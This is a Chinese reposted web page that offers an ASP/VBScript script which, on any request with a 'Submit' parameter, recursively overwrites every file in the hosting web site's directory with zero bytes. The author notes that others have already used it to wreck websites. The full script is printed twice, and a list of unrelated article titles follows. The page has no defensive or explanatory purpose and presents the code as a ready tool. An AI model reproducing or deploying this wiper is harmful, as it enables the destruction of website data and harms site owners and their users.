自动清空站点目录下所有文件
来源:百度文库 编辑:神马文学网 时间:2024/04/20 01:09:46
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write""
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write""
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
自动清空站点目录下所有文件
用SendMessage获取目录下所有文件
用SendMessage获取目录下所有文件
让Temp自动清空
病毒无处藏身--让Temp文件夹里的文件自动清空
让病毒无处藏身--让Temp文件夹里的文件自动清空d
让病毒无处藏身--让Temp文件夹里的文件自动清空123
让病毒无处藏身--让Temp文件夹里的文件自动清空000
让病毒无处藏身--让Temp文件夹里的文件自动清空1
让病毒无处藏身--让Temp文件夹里的文件自动清空A
让病毒无处藏身--让Temp文件夹里的文件自动清空qq
让病毒无处藏身--让Temp文件夹里的文件自动清空.
让病毒无处藏身--让Temp文件夹里的文件自动清空
如何设置自动清空我的文档记录
如何设置自动清空我的文档记录
找回清空了回收站的文件
清空回收站后,文件如何找回
找回回收站清空的文件
如何才能找回回收站清空的文件
恢复清空回收站后的文件
恢复清空回收站后的文件
让病毒无处藏身--让Temp自动清空
QQ所有文件和目录的作用解释和分析
如何清空回收站三步找回被删并清空了回收站的文件